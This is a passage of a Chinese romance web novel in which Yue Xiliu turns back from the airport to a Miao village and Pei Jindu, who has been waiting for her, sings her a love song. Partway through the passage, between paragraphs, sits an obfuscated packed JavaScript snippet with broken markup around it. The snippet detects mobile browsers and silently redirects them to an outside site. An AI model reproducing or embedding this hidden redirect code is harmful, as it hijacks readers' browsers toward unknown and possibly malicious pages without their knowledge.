山路一道弯又连着另一道弯,尘土四扬,石头被车碾碎,咔嚓咔嚓响,旁边就是悬崖。
四周的高山倒退,阮眠滑着手机页面:“我买了今晚十一点四十一的机票,你自己开车回去注意安全。”
“嗯。”
越西流轻轻点头,不自觉地瞥了一眼窗外。
大山,无尽的大山。
她走进大山,走出来了吗?
又为什么跳下悬崖?
裴津渡……蝴蝶。
一个接一个问题扰乱她的心神,她无法用言语形容那种滋味,有些难受,有些压抑。
回去后,她还会接二连三做同一个梦吗?
不知道……
苗寨一趟,本是为了寻找答案,可她并没有得到她想要的。
只有一个人,一个如此面熟,又如此想要靠近的人。
夜来得快,眼见着还有一点光,可没一会儿全黑了,灯光亮起,周遭车流不停。
出了大山才发现,城市要暖和得多。
车子停在了机场的地下车道,阮眠打开后备箱拿出行李箱,挥手向越西流告别,再次嘱咐道:“一定要小心,咱们槐安见。”
“好。”
越西流也挥了挥手,看着她拖着行李往一旁走,等待电梯。
裴津渡的阿爸阿妈晚上才到苗寨,族中亲人听说他们要回来,都在他阿公的家里等着。
没一会儿,青石路上出现一双人影,裴济泽跑了出去,扑进他们怀里,难掩兴奋之色。
“阿爸阿妈,好想你们。”
裴津渡站在人群里,不像裴济泽情绪外放,他在心里算了算,有多久没见他们了?
一年又一个月。
站他旁边老人拉了拉他的袖子,用苗语说:“阿渡,你要活泼一点,像你阿弟一样,不然怎么讨得到妻子。”
“阿公……”
他又开始说这些话了,大学毕业后,催婚好像是每个单身人士的必经之路。
记得才回来的那一年,阿公各种安排他见女孩子。
他不愿意,躲掉了。
阿公说他要求高。
裴津渡说,不是这样的。
是因为那个人没出现,他要等的那个人没出现。
从他有记忆起,就有一道声音在说,要等一个人。
阿公见他冷着一张脸,忍不住讲:“好、好、好,你不爱听,我不说。可是我隔壁的老头子都抱上孙女了,我什么时候才见着啊!”
老人说着,又咳嗽两声,捂着自己的心脏,“老了……老了呀,也不知道有没有这一天。”
裴津渡无奈,动了动嘴,最后选择沉默,他说一句话,阿公就有十句话等着他,不如沉默得好。
阿公等了一阵,见他没反应,也不装了,凑到他身边问:“我上次去山上吃酸汤米线了,杨阿婆说你带了一个女孩子去她那儿。是谁呀?”
糟糕,忘了给杨阿婆说,别给他阿公讲。
“怎么,不愿说?”
裴津渡道:“不是,还没到时候,您别瞎打听。”
关于越西流,他还不想讲。
“我就问问,问也不行吗?”阿公不满地瘪嘴。
“不行。”
阿公哼了一声,拉开与他的距离。
不肖子孙,离他远些,让他愧疚愧疚。
说话间,阿爸阿妈走到了屋门口,一众人将他们迎了进去,阿公还扯开了一圈鞭炮点燃。
噼里啪啦响了一阵。
十里八乡都知道裴老头的儿子裴岗山、儿媳谭玉珍回来了。
屋子里摆了席,席上一碗菜叠着一碗菜,裴岗山和谭玉珍落坐后,有族亲问为什么初六天才回。
裴岗山说:“先前因为一单生意,人要在初七签合同,我想着开车都得一天半,回去还要一天半,就说今年不回来了。后来,人改了主意,我和玉珍就回来了。”
裴岗山在南京开了个公司,专做建筑材料,身价可观。
这也是裴济泽敢回寨子的底气。
族亲们一副懂了的样子,开始推杯换盏,几巡酒后,有族亲开始问:“岗山呀,你们公司还缺人吗?我儿子,就是你侄儿,交了女朋友了,可连个像样的工作都没有……”
余下的话他没说完,可大家都懂。
裴济泽不满地抿嘴,小声向裴津渡吐槽:“谁不知道阿叔家的哥哥好吃懒做,成天混日子呀,阿爸都委婉地拒绝过他好多次了,他还问。”
裴津渡扯了扯他,“别说话,那是阿爸的事。”
裴济泽不乐意的“哦”了一声。
他脾气来得快去得也快,没一会儿就眯着眼讲:“阿哥,酥肉好好吃,厨房还有剩的吗?”
裴津渡没说话,一直看着门外。
她现在正做什么?
一整天没见着她了。
裴济泽没得到回应,碰碰他:“阿哥,你怎么心不在焉的?”
“什么?”裴津渡回头,“你方才说什么?”
“酥肉厨房还有吗?”
“有。”阿公做了很多,就怕不够吃。
“阿哥,你在想什么?”他心思明显不在饭桌上,眼神老往外瞅。
“没什么。”
“说慌。”
实在太明显了,裴济泽一眼就看了出来。
“吃饭。”裴津渡道。
知道阿哥不愿多言,裴济泽没再问,老老实实吃饭。
这顿饭吃到十点钟,裴津渡找了个借口离开。
他回了一趟家,拿了昨晚越西流没带走的小玩意儿,去民宿。
苗寨外的街上人少,只有三三两两的人。
他想,直接去找她会不会很冒昧,她没有跟她朋友讲他的存在。
他在楼下站了会儿,最后还是上了楼,老板认识他,见到他很热情:“津渡,听说你阿爸阿妈回来了,这个点不配他们,来阿叔这里做什么?”
“找人,”裴津渡把篮子放在台子上,“阿叔,可以帮我把这个送到一个姓越的住客的房间里吗?”
“越?”老板想了想,“越西流小姐吗?”
“对。”
“你认识她们?”老板问。
裴津渡点头。
老板说:“可她们下午已经退房了,没告诉你吗?”
“退房!”裴津渡一愣,“阿叔,可以给我一个她的电话吗?”
老板有些为难,默了会儿说:“津渡,你知道阿叔这一行,不能随意泄露客人隐私的。”
裴津渡站了一会儿,好久后朝老板讲:“打扰了,阿叔。你别同我阿公说这事儿。”
“好,我绝不说。”老板保证。
他不知道自己是怎样走到街上的。
这一刻的他失魂落魄,行尸走肉。
雨不知是何时落下,淅淅沥沥,由小变大,没一会儿就淋湿了他的肩头。
他也不躲,就站在街上,望呀望呀。
她说过今天会来找他的。
她失言了。
他想找她,可他连她的联系方式都没能留下。
他们好像从没靠过外物联系,心里总有直觉,她什么时候来,什么时候走。
早知道……
蝴蝶落在他的指尖,肉眼可见的由白变黑。
“我会找到她的,你说对不对?”
蝴蝶扇动翅膀,像在回应。
不知站了多久,腿麻了,脚也疼了,该回去了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311236|198856||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
裴津渡往苗寨走,没走几步,一束白炽灯照亮了前行的路,一辆车停在了他身后。
他转身,透过玻璃,看见了越西流。
她打开车门,走了下来。
他的脸色一下子就变了。
“你……”
你不是走了吗?
他没来得及将话说出。
越西流开口:“阮眠的爸爸去视察工作时遇到了车祸,撞了脑袋,我送她去了机场。本来……”
本来她该走的。
可在机场,阮眠快进电梯的那刻,她忽然摁下车窗,朝她喊:“阿眠,我不回去了,我要回苗寨,那里有人在等我。”
“你在说什么?”阮眠有一丝不解,但隐隐有猜测,“是那个人吗?”
就是那天早上的人,他们那时就不对劲儿。
越西流点头。
阮眠说:“好,你去吧,不过,等你回槐安了,我要知道故事始末。”
“好。”越西流应下。
她启动车子,重走那条难行的盘山公路。
大山,大山里有寨子,寨子里有一个羁绊她的人。
她合上车门,朝他走了两步:“阿哥我有东西没拿,还有东西没还。”
她打开后备箱,捧着苗服与冠,问他:“阿哥,这个需要我还吗?”
他眼角眉梢都是笑意,说道:“不用还,送给你,一直都想送给你。”
“那我要拿的东西呢?给我带来了吗?”她问。
“在这里,”他拿给她看,“都在这里。”
越西流一笑,瞥了一眼旁边的民宿,像是吐槽一般讲:“这家住一晚好贵,有我朋友在,我们平摊还可以接受,可我朋友走了,如今我无地可去,该怎么办呢?”
“住我家。”
裴津渡脱口而出,说完才觉不妥,正想找补时,却见越西流眼波流转,“住你家呀……”
她拖长了尾音,朝他倾身,“阿哥,我们什么关系呀,住你家不太好吧。”
“是……不太好,”他支支吾吾了一阵,“我给你开房间,想住多久住多久。”
音落,他就往民宿跑。
欸,这人!
越西流拉住他,没好气讲:“呆子,真是呆子。”
裴津渡愣愣地看着她,不知道她为什么生气。
越西流真想打他一下,把他给打清醒一点,她都暗示得这么明显了,他居然还不懂,真笨。
到底是怕把他打傻了,越西流忍住了,再给他一次机会。
她讲:“阿哥,那天晚上我们吃烧烤时,苗家阿妹们唱的什么歌呀?”
裴津渡说:“月上歌。”
“哦,这歌呀,我好像听人说过,赞美月亮,也赞美爱情。”
没来由地,裴津渡的心跳加速,噗通噗通,像是要破膛而出。
是他想的那样吗?
因为害怕,因为紧张,他的手握成了拳。
他静静地看着她,只见她翘起了嘴角,一派天真地问他:“阿哥,这样的歌你愿意唱给我听吗?”
雨停的那刻,一颗心拨开了乌云,“阿妹,我愿意,我愿意……”
他几乎是迫不及待地唱起了这首古老的歌谣。
空旷的大街,路灯的光是冷清的白,他的声音动听,歌声里,满是对她的爱意。
蝴蝶脱离了指尖,在空中纠缠,像苦尽甘来的恋人,诉说这一路的辛苦。
“阿妹,我带你回家。”
他递出了手,越西流紧紧地握上。
记忆里,她也曾跟一个人回家,他穿着藏蓝色的苗服,拉着她在田野上奔跑,脚步是那样轻快,即使她看不见他的脸,也能从步伐里感受到他的高兴。